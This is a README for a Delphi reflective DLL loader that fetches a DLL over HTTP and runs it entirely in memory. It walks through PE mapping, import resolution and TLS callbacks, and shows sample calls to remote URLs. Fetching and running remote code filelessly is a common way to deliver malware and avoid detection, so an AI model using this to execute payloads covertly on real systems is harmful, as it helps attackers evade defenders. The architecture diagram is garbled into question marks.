README

Delphi Reflective DLL Loader

Overview

This project implements a Reflective DLL Loader that:

1. Downloads a DLL from a remote HTTP/HTTPS server
2. Loads the DLL entirely in memory (never writes to disk)
3. Executes the DLL in the current process (RunRemoteDll.exe itself)
4. Calls specific exported functions from the loaded DLL

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
???   RunRemoteDll.exe Process (YOUR PROCESS)        ???
???                                                  ???
???  ??????????????????????????????????????????????????????????????????????????????????????????????????????              ???
???  ???  RunRemoteDll.exe Code         ???              ???
???  ???  (Main Program)                ???              ???
???  ??????????????????????????????????????????????????????????????????????????????????????????????????????              ???
???                                                  ???
???  ??????????????????????????????????????????????????????????????????????????????????????????????????????              ???
???  ???  Downloaded DLL                ??????????????? Loaded   ???
???  ???  (Exists ONLY in RAM)          ???     from     ???
???  ???                                ???     HTTP     ???
???  ???  ??? Never touches disk          ???              ???
???  ???  ??? DllMain() executes here     ???              ???
???  ???  ??? Exported functions run here ???              ???
???  ??????????????????????????????????????????????????????????????????????????????????????????????????????              ???
???                                                  ???
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Features

• ✅ Reflective DLL Loading: Load and execute DLLs entirely in memory
• ✅ Remote DLL Fetching: Download DLLs from HTTP/HTTPS servers
• ✅ PE Format Parsing: Complete PE file format handling
• ✅ Import Resolution: Automatic IAT (Import Address Table) fixing
• ✅ Relocation Handling: Support for position-independent code
• ✅ Memory Protection: Proper section permission management (RWX)
• ✅ TLS Callbacks: Thread Local Storage callback execution
• ✅ Exception Handlers: SEH (Structured Exception Handling) registration
• ✅ Exported Function Invocation: Call specific exported functions by name
• ✅ 32-bit and 64-bit Support: Works with both x86 and x64 architectures

Usage

Basic Usage

1. Set up a web server to host your DLL:
2. Configure the loader in RunRemoteDll.dpr:
   delphiCopy

   URL := 'http://192.168.1.86:8081/TestDll.dll';
   ExportedFunction := 'MyExportedFunction';

3. Run the loader:
   batchCopy

   RunRemoteDll.exe

Programmatic Usage

You can also use the ReflectiveLoader unit in your own Delphi applications:

uses
  ReflectiveLoader;

var
  Result: string;
begin
  // Load a DLL and execute its DllMain only
  Result := LoadRemoteDLL('http://example.com/mydll.dll');
  
  // Load a DLL and call a specific exported function
  Result := LoadRemoteDLL('http://example.com/mydll.dll', 'MyFunction');
  
  WriteLn(Result);
end;

How It Works

The reflective loader performs the following steps:

1. Download Phase

• Downloads the DLL from the specified URL using WinInet
• Stores the raw bytes in memory

2. PE Parsing Phase

• Validates the PE signature
• Parses DOS header, NT headers, and section headers
• Extracts data directories (Import, Export, Relocation, TLS, Exception)

3. Memory Allocation

• Attempts to allocate memory at the DLL's preferred base address
• Falls back to any available address if preferred address is unavailable

4. Section Mapping

• Copies PE headers to allocated memory
• Maps all sections (.text, .data, .rdata, etc.) to their virtual addresses

5. Relocation Fixing

• Adjusts all address references if loaded at a different base address
• Handles DIR64, HIGHLOW, HIGH, LOW relocation types

6. Import Resolution

• Resolves all imported functions from external DLLs
• Populates the Import Address Table (IAT)
• Handles both import-by-name and import-by-ordinal

7. Memory Protection

• Sets appropriate memory permissions for each section
• Applies Execute, Read, Write permissions as needed

8. Exception Handling

• Registers exception handlers using RtlAddFunctionTable

9. TLS Callbacks

• Executes Thread Local Storage callbacks if present

10. Execution

• Calls DllMain with DLL_PROCESS_ATTACH
• Optionally creates a thread to execute a specific exported function

11. Cleanup

• Waits for exported function thread to complete
• Frees allocated memory

License

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer

This tool is provided for educational and authorized testing purposes only. The authors and contributors are not responsible for any misuse or damage caused by this program. Use responsibly and ethically.